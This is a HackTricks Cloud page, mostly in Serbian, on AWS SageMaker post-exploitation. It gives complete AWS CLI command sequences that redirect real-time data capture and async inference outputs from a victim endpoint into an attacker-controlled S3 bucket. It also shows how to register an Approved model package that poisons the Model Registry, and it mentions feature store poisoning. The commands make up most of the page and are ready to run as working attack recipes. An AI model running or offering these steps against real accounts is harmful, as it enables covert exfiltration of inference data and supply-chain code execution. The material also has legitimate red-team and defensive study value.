AWS - SageMaker Post-Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
SageMaker endpoint - izvlačenje podataka putem UpdateEndpoint DataCaptureConfig
Iskoristite SageMaker endpoint management da omogućite potpuno snimanje zahteva/odgovora u attacker‑kontrolisani S3 bucket bez diranja modela ili containera. Koristi zero/low‑downtime rolling update i zahteva samo dozvole za upravljanje endpointima.
Zahtevi
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(ili koristite postojeći bucket u istom nalogu) - Opcionalno (ako se koristi SSE‑KMS):
kms:Encryptna izabranom CMK - Cilj: Postojeći InService real‑time endpoint u istom nalogu/regiji
Koraci
- Identifikujte InService endpoint i prikupite trenutne produkcijske varijante
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- Pripremite S3 odredište napadača za snimke
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- Kreirajte novu EndpointConfig koja zadržava iste variants, ali omogućava DataCapture u attacker bucket
Napomena: Koristite eksplicitne content types koje zadovoljavaju CLI validation.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Primeni novu konfiguraciju koristeći rolling update (minimalno/bez zastoja)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Generišite barem jedan poziv za inferencu (opciono ako postoji uživi saobraćaj)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Potvrdite captures u attacker S3
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Impact
- Potpuna eksfiltracija payload‑ova zahteva i odgovora za real‑time inference (i metadata) sa ciljanog endpointa u attacker‑controlled S3 bucket.
- Bez izmena model/container image i uz izmene samo na nivou endpointa, što omogućava diskretan put krađe podataka uz minimalan operativni prekid.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Iskoristiti upravljanje endpoint‑om da se preusmere asinhroni izlazi inference‑a u attacker‑controlled S3 bucket kloniranjem trenutnog EndpointConfig‑a i podešavanjem AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Ovo eksfiltrira predikcije modela (i sve transformisane ulaze koje container uključuje) bez menjanja model/container‑a.
Requirements
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: Mogućnost pisanja u attacker S3 bucket (preko model execution role ili permissive bucket policy)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
Steps
- Sakupite trenutne ProductionVariants sa ciljanog endpointa
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Kreirajte attacker bucket (osigurajte da uloga za izvršavanje modela može da izvrši PutObject u njega)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- Kloniraj EndpointConfig i hijack AsyncInference outputs u attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Pokrenite async invocation i proverite da li objekti dospeju u attacker S3
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Uticaj
- Preusmerava asinhrone rezultate inferencije (i telo grešaka) na S3 pod kontrolom napadača, omogućavajući prikrivenu eksfiltraciju predikcija i potencijalno osetljivih ulaza pre/posle obrade koje proizvodi kontejner, bez menjanja koda modela ili image-a i uz minimalan/nikakav downtime.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Ako napadač može da pozove CreateModelPackage na ciljani SageMaker Model Package Group, može da registruje novu verziju modela koja pokazuje na container image pod kontrolom napadača i odmah je označi kao Approved. Mnogi CI/CD pipeline-ovi automatski deploy-uju Approved verzije modela na endpoints ili training jobs, što dovodi do izvršavanja koda napadača pod izvršnim ulogama servisa. Izloženost između naloga može biti pojačana permisivnom ModelPackageGroup resource policy.
Zahtevi
- IAM (najmanje potrebno da kompromituje postojeću grupu):
sagemaker:CreateModelPackageon the target ModelPackageGroup - Opcionalno (da se kreira grupa ako ne postoji):
sagemaker:CreateModelPackageGroup - S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
- Cilj: A Model Package Group koju nizvodna automatizacija prati za Approved verzije
Koraci
- Podesite region i kreirajte/pronađite ciljnu Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Pripremite probne podatke modela u S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Registrujte zlonamerni (ovde bezopasan) Approved model package version који referencira javni AWS DLC image
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Proverite da li nova Approved verzija postoji
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Uticaj
- Zatrovati Model Registry Approved verzijom koja referencira kod pod kontrolom napadača. Pipelines koji automatski deploy-ju Approved modele mogu povući i pokrenuti napadačev image, što omogućava izvršavanje koda u kontekstu endpoint/training roles.
- Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba može biti pokrenuta cross-account.
Feature store poisoning
Abuse sagemaker:PutRecord on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with sagemaker:GetRecord, an attacker can read sensitive features. This does not require access to models or endpoints.
{{#ref}} feature-store-poisoning.md {{/ref}}
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

